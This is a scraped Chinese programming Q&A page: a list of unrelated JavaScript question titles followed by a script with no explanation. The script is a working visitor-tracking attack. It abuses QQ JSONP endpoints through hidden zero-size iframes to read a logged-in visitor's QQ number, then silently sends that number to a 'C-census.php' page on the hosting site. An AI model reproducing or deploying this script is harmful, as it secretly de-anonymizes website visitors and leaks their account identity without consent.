解决方案 »
- javascript 中有没有类似STL的库?
- 【100分】关于这小段js该怎么优化比较好?
- 请问pixelWidth为什么取不出值
- 怎么用js自动完成这个,并提交呢?
- 一个关于tree节点选中的问题
- iframe框架父窗口url获取
- 父窗体打开子窗体(不是同一个web服务器),用window.open('http://....','','')现在子窗体如何传值给父窗体
- ############请教javascript高手,急!!!!!!!!!!#####
- 如何获取一个HTML文件中的所有超链接
- easyUI datagrid一直不出数据
- 有没有这样的图表插件?
- srcipt动态跨域请求获取返回数据
var ie = document.all ? true : false;
var isIE = !!window.ActiveXObject;
function loadJS(jsurl, onsuccess, charset, onerr) {
var xScript = document.createElement("script");
xScript.type = "text/javascript";
if (charset == '') {
xScript.charset = "utf-8"
} else {
xScript.charset = charset
}
xScript.src = jsurl;
xScript.onerror = function () {
if (onerr) {
setTimeout(onerr, 10)
}
};
if (ie) {
xScript.onreadystatechange = function () {
if (xScript.readyState) {
if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
} else {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
}
} else {
xScript.onload = function () {
if (xScript.readyState) {
if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
} else {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
}
}
document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
}
function fangkenoLogin() {
loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
}
function checkLoginCB() {
try {
if (data0.err == 1026) {
setTimeout(abcc, 100)
} else {
setTimeout(fangkenoLogin, 5000)
}
} catch (e) {
setTimeout(fangkenoLogin, 5000)
}
}
function abcc() {
window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_open_box?callback=x'><\/script>";
var frameid = "frameImg" + Math.random();
var o_v_stat_iframe = document.createElement("iframe");
o_v_stat_iframe.src = "javascript:parent.img;";
o_v_stat_iframe.id = frameid;
o_v_stat_iframe.scrolling = "no";
o_v_stat_iframe.setAttribute("frameborder", "0", 0);
o_v_stat_iframe.style.width = "0px";
o_v_stat_iframe.style.height = "0px";
document.body.appendChild(o_v_stat_iframe)
}
function scn_sendInfo(c) {
try {
var a = c;
xx1 = a.uin;
xx2 = 'Null';
setTimeout(xxx_third, 1)
} catch (e) {
}
}
function xxx_third() {
var xurl = location.href;
var xurl = xurl.replace("T-census.php", "C-census.php");
var iframe = document.createElement("iframe");
iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
iframe.id = "QQfangke_iframe_two";
iframe.name = "QQfangke_iframe_two";
iframe.style.width = "0px";
iframe.style.height = "0px";
iframe.scrolling = "no";
iframe.setAttribute('frameborder', '0', 0);
document.body.appendChild(iframe)
}
fangkenoLogin();